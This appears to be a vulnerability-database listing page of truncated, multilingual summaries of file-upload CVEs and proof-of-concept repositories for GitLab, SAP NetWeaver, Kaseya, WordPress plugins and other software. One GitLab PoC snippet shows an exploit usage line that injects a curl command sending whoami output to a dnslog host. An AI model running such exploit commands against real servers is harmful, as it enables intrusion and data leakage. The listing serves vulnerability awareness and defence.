CVE-2024-29399

تفاصيل الثغرة CVE-2024-29399 نظرة عامة في Savane الإصدار 3.13 والإصدارات السابقة، يؤدي نقص التحقق من صحة الملفات المرفوعة إلى احتمالية تصعيد الامتيازات. خوادم الويب المهيأة وفقًا لتعليمات التثبيت تكون عرضة لهجمات البرمجة النصية عبر المواقع XSS. في خوادم الويب غير المهيأة بشكل صحيح، قد يؤدي ذلك إل...

CVE-2021-22205

CVE-2021-22205 الإصدارات المتأثرة: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 الاستخدام root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" الحصول على csrf-token: احصل على csrf-token من خلال /users/signin ثم استخدم CVE-2021-22205 poc السابق لإنشاء حزمة تحميل...

CVE-2025-31324_PoC_SAP

CVE-2025-31324PoC إثبات المفهوم لـ CVE-2025-31324: رفع غير مصادق عليه في SAP NetWeaver Visual Composer Metadata Uploader ينفّذ هذا السكربت: 1. رفع ملف إلى النقطة المعرّضة عبر Upload host/port 2. تشغيل اختياري عبر HTTP GET عبر Trigger host/port 3. تحقق أساسي من الاستجابة/تسجيل مثال على الاستخدام:...

Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication. id: CVE-2018-9206 info: name: Blueimp jQuery-File-Upload v9.22.0 -...

Langflow < 1.9.1 - Unauthenticated File Upload

Langflow 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access. id: CVE-2026-55450 info: name: Langflow 1.9.1 - Unauthenticated File Upload author: xtr0n...

Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management RMM 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leadin...

Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload

Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress = 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit...

Form-Maker < 1.15.20 - Unauthenticated Arbitrary File Upload

The plugin does not validate signatures when creating them on the server from user input, allowing unauthenticated users to create arbitrary files and lead to RCE. id: CVE-2023-4666 info: name: Form-Maker 1.15.20 - Unauthenticated Arbitrary File Upload author: pussycat0x severity: critical...

Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload

Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution. id: CVE-2026-56291 info: name: Balbooa Forms 2.4.1 - Unauthenticated Arbitrary File Upload...

Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution

Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files. id: CVE-2025-34299 info: name: Monsta FTP = 2.11.2 - Unauthenticated Remote Code Execution...

Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload

The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow. The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed...

CVE-2026-63219

GeoNetwork (open-source geospatial metadata catalog) has a missing authorization flaw on its formatter upload endpoint, introduced when a Spring @PreAuthorize annotation was dropped during the 4.0.6 refactor. An unauthenticated attacker can upload arbitrary .xsl or .zip formatter files to the ser...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Доказательство концепции Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Python-скрипт злоупотребляет функцией загрузки, доступной без аутентификации по пути /admin/files-upload/ Скрипт локально создает папку bin и файл с имен...

hdwebmobile-photo-video-reviews

Avis Photo & Vidéo HDWebmobile Une extension WooCommerce qui permet aux clients de joindre des photos et de courtes vidéos à leurs avis produits, affichées directement dans la liste des avis sur la page produit. WordPress.org: https://wordpress.org/plugins/hdwebmobile-photo-video-reviews/ en...

CVE-2025-31324_PoC

CVE-2025-31324PoC Preuve de concept pour CVE-2025-31324 : Téléversement non authentifié dans SAP NetWeaver Visual Composer Metadata Uploader Ce script effectue : 1. Téléversement du fichier vers le point de terminaison vulnérable via hôte/port de téléversement 2. Déclenchement optionnel via HTTP...

CVE-2026-82472

Documenso before 2.13.0 accepts PDF file uploads on the /api/files/upload-pdf endpoint without requiring authentication, session tokens, or API credentials. Unauthenticated attackers can upload arbitrary PDF files indefinitely to exhaust storage resources or fill the database with unlinked docume...

EUVD-2026-68128

Documenso before 2.13.0 accepts PDF file uploads on the /api/files/upload-pdf endpoint without requiring authentication, session tokens, or API credentials. Unauthenticated attackers can upload arbitrary PDF files indefinitely to exhaust storage resources or fill the database with unlinked docume...

CVE-2026-12514

The Shared Files WordPress plugin before 1.7.67, shared-files-pro WordPress plugin before 1.7.70 do not perform a capability check in their file-upload handler, which is registered for unauthenticated users and protected only by a nonce that is output on public pages, so an unauthenticated visito...

CVE-2026-12514

The Shared Files WordPress plugin (before 1.7.67 ) and shared-files-pro (before 1.7.70 ) lack a capability check in their file-upload handler, which is registered for unauthenticated users and protected only by a nonce rendered on public pages. An unauthenticated visitor can therefore upload file...

CVE-2026-12514 Shared Files < 1.7.70 - Unauthenticated Limited File Upload

The Shared Files WordPress plugin before 1.7.67, shared-files-pro WordPress plugin before 1.7.70 do not perform a capability check in their file-upload handler, which is registered for unauthenticated users and protected only by a nonce that is output on public pages, so an unauthenticated visito...